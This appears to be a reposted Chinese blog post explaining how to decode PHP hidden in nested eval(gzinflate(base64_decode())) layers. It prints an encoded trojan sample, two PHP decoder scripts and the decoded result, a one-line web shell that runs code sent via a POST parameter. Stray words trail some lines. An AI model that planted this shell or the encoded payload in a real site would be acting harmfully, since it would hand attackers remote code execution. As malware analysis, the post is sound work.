原文連接:eval(gzinflate(base64_decode解密方法php
今天羣裏一位朋友發了一個php的馬子,通過了gzinflate和base64_decode加密,求解密,這種加密方法我之前也見過,只用把eval改成echo便可實現解密,可是狀況並非我想象的那麼簡單,輸出的依然是亂碼,網上找了一下終於找到了解決之道,分享給你們。html
PHP目前在網絡中被用的愈來愈多,加密解密的話題也一直沒有停息過。下面簡單介紹一下base64_decode+gzinflate壓縮編碼和解碼代碼方法,就是一般咱們在程序中見的eval(gzinflate(base64_decode('加密代碼'))); 形式的加密方法。網絡
首先,針對一層加密的,咱們能夠直接把eval改成echo便可解密,這裏我就很少解釋了,今天要解密的代碼以下:tcp
<?php echo(gzinflate(base64_decode('DdS3EqNWAEDRfn/Eu0NBTmOPd8hCpEcWNB7CAyRA5Pj13u42p72///3n99iMP37APet+1vf7W3XZCn/m2QIZ6r8SFkMJf/4ll96jnWxdUGSvipB2wnTz8xBSECiRrp8C1DlCud/NqVu1lcEKLGq1V+jN3hxKkTvHZ6uSVWv0zUV0hZ1f9a9xJPwBpYbrQc0Xw5YJAUra6iKodOSy5tPe7Gt7fRLuqRnu0IO7HmRrVD1fxFeK2f2O1fv5wqik6ci0XuSjF4Swsih9w1QiGhdHod7s1r9EhnivBnLsmn4xa4lbDA6WrAPtdbdEHOZswZhkFO3s0/HloCA9DY8P4+bJkXLIdchUxFHPTxKZWt+WnWmGLXhiQHN3qm0Q6VnoO3vY/ckHsWOIGlV8XMV+UaZEcKBPsZgj+S7kKISh2ZQiNnVK4zlHRIt6B3jDl1Q4+e1dy5ZqmXb73JPXtWn+17i/hvBQFlEdrFopoTeovgwy5WxlIZVZNEnYBYkG6g9OQrBgxMC7yVs6jwjMpoeCIIio/dFLm3cHTaA141F+CvRT0swD9PPbqdBl3Hyo7kclQMFmTIumUi3tyVEMWI6S7DE3Ycn148vqQGTmZJx9OU5gjQg5gjN2jZ1QDgALD40TJJQQGj9S4JXm6GlyYW3wDViCyCEpeB4wiJWX8za3/WYMePG2i03eKDCHrtUlY1qsOEje1ZNI0Vys8DHUy5iAW/yVvs+mESrbTA9BLQtsI52NNSsmEQ5J8FHadb0gFXiQsWTHoOfByWnW9zaJz/uTND4Mts76xBqIVB48F1l7rvf50Dg+XBai/DzNS40ITBXbsJxjsOjqWKN9/piDp6nOSUu+0qwz8KM4ibR1MLL6TpK4PKjNd+0IWZE/8R3myU3TJ+X3/ZiO1ewlH/p8PBoGh6C+71RfrG7Ir7kSri3QDmWGZ+v3rIjfsIqVqCfPGwZPxV6+CoRE60eY1DhE57EGl77cJtPd7aKbY44XEjjTsqZGpaYLy4VEWORuuCAcYz0TTtc8Ui7UpgaqpU7NSSi4r7wnLLHlmXA8tbSA+9CZvhz77ZWq7A37rvoMFytqNlzcb6NQnEu/wzMusfJBn68TzeTtcpGEdujKeOnrFngtW8RO7VTMIm5evd80RnEQ0+O78O+JYEMd5a9stxWXWxWJaKV6qiTPYXxFV/rdUhFGQmb+jbmHML4fHF/tLILuYKYRNEHr6q9fv379/eP3nxn9Dw=='))); ?>
我嘗試過把eval改成echo結果發現仍是相似的東西,通過查找終於發現瞭解決辦法。編碼
解密方法一:加密
1 <?php 2 /** 3 * Created BY 獨自等待 4 * Date : 13-6-25 5 * Time : 下午2:06 6 * FileName : decode_gzinflate.php 7 * 歡迎訪問獨自等待博客www.waitalone.cn 8 */ 9 //已經加密的文件內容 10 $a = "eval(gzinflate(base64_decode('這裏面放BASE64代碼')));"; 11 function decodephp($a) 12 { 13 $max_level = 300; //最大層數 14 for ($i = 0; $i < $max_level; $i++) { 15 ob_start(); 16 eval(str_replace('eval', 'echo', $a)); 17 $a = ob_get_clean(); 18 if (strpos($a, 'eval(gzinflate(base64_decode') === false) { 19 return $a; 20 } 21 } 22 } 23 24 echo decodephp($a); 25 ?>
解密方法二:spa
1 <?php 2 /** 3 * Created BY 獨自等待 4 * Date : 13-6-25 5 * Time : 下午2:27 6 * FileName : decode_gzinflate2.php 7 * 歡迎訪問獨自等待博客www.waitalone.cn 8 */ 9 $a = file_get_contents("加密.php"); //含有eval語句的文本文件 10 //將有eval(gzinflate(base64_decode的加密文件只留eval(gzinflate(base64_decode('...');"語句 11 //其餘諸如"<?"等信息都去掉並保存文件爲"加密.php" 12 while (strstr($a, "eval")) { 13 ob_start(); 14 eval(str_replace("eval", "echo", $a)); 15 $a = ob_get_contents(); 16 } 17 echo $a; 18 ?>
最終通過密碼獲得源代碼以下:code
<?php eval($_POST[coo0l]);?>